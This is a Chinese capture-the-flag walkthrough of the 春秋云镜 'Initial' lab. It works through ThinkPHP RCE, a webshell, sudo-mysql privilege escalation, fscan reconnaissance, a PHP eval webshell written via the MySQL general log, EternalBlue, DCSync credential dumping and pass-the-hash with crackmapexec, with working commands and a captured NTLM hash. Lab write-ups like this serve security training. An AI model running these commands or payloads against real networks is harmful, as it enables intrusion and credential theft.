春秋云镜--Initial

春秋云镜

Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

flag01

对入口ip进行扫描,发现thinkphp的rce漏洞

thinkphp工具检测

利用工具,上传webshell

蚁剑(蚁剑可以执行python -c “命令”),哥斯拉(不能执行python -c “命令”,可以上传文件执行),冰蝎连接webshell

蚁剑连接,发现用户权限为 www-data

sudo提权

1
sudo mysql -e '\! find / -name flag*'

获取第一个flag01

1
2
3
4
sudo mysql -e '\! cat /root/flag/flag01.txt'


flag01: flag{60b53231-


flag02

蚁剑上传fsan,并扫描内网(利用蚁剑上传fscan

扫描内网

扫描结果

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/var/www/./html >./fscan_amd64 -h 172.22.1.1/16
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive
(icmp) Target 172.22.1.2 is alive
[*] Icmp alive hosts len is: 4 存活的主机
172.22.1.2:139 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:135 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.2:445 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:88 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.2 DC,域控
[->]DC01
[->]172.22.1.2
[*] NetInfo:
[*]172.22.1.21 win7
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601
Service Pack 1
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
已完成 14/14
[*] 扫描结束,耗时: 42.792864245s

发现几台内网机器

1
2
3
4
172.22.1.15	 入口
172.22.1.2 域控制器
172.22.1.21 win7 MS17-010 漏洞
172.22.1.18 信呼OA

有python环境,利用python的payload反弹shell到msf上

并开启socks5代理

生成payload

1
run autoroute -s 172.22.1.18/24

可以访问了

可以利用

信呼 OA RCE 或者 phpmyadmin的漏洞写入webshell

1
2
3
4
5
6
7
8
9
开启日志写入
set global general_log=ON
通过开启全日志getShell:
查询日志路径和是否允许写入
SHOW VARIABLES LIKE '%general%'
更新日志路径
set global general_log_file='C:/phpStudy/PHPTutorial/www/22.php'
通过查询将webshell写入日志
select '<?php eval($_POST[shell]); ?>'

蚁剑配置代理进行连接

蚁剑配置代理进行连接

flag02位置

1
flag022ce3-4813-87d4-

flag03

win7 这台,之前用 msf 打一直连接不上,后来才发现机器不出网,需要正向的payload, msf 默认会给你加载反弹 shell.

首先配置 kali 的代理 proxychains

1
vim /etc/proxychains4.conf

使用msf攻击

1
2
3
4
5
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

横向移动

利用DCSync

1
load kiwi

导出域内所有用户Hash

1
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

这里我们成功抓到了Administrator的hash,所以可以直接用crackmapexec打hash传递了

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

完结撒花,最后完整的flag:

1
flag03:e8f88d0d43d6}

总结

sudo提权

前提条件:如果攻击者知道当前用户密码,或者管理员在/etc/sudoers 配置了某些命令免密码使用,就可以利用 sudo 执行命令提权

想获取哪些命令设置了无密码 sudo,还是需要查看/etc/sudoers 文件或者使用 sudo -l 命令

可以看到 mysql 是配置了 sudo 免密使用的,我们可以使用 mysql 命令暂时获取 root 权限,想要执行其他命令,可以使用 mysql -e 模式(看上图)

所以可以使用sudo提权

1
sudo mysql -e '\! cat /root/flag/flag01.txt'

DCsync攻击

1
2
DCsync的原理是利用域控制器之间的数据同步复制
DCsync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

DCsync攻击前提

1
2
3
4
5
想进行DCsync攻击,必须获得以下任意用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限

这里我们用永恒之蓝打完本来就是system权限,然后我们load kiwi,抓取用户的hash

这里补充一下hash传递的知识:具体可以看内网横传之哈希传递(Pass The Hash)

1
Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的

使用场景

1
2
3
适用场景:内网中大量主机密码相同。

hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口

总而言之,hash传递是在没办法获取密码时可以进行横传的方法,在抓取哈希后我们可以通过LM和NTLM直接访问远程主机服务,因为他们的身份验证就是口令的hash值,被我们获取后即可为所欲为了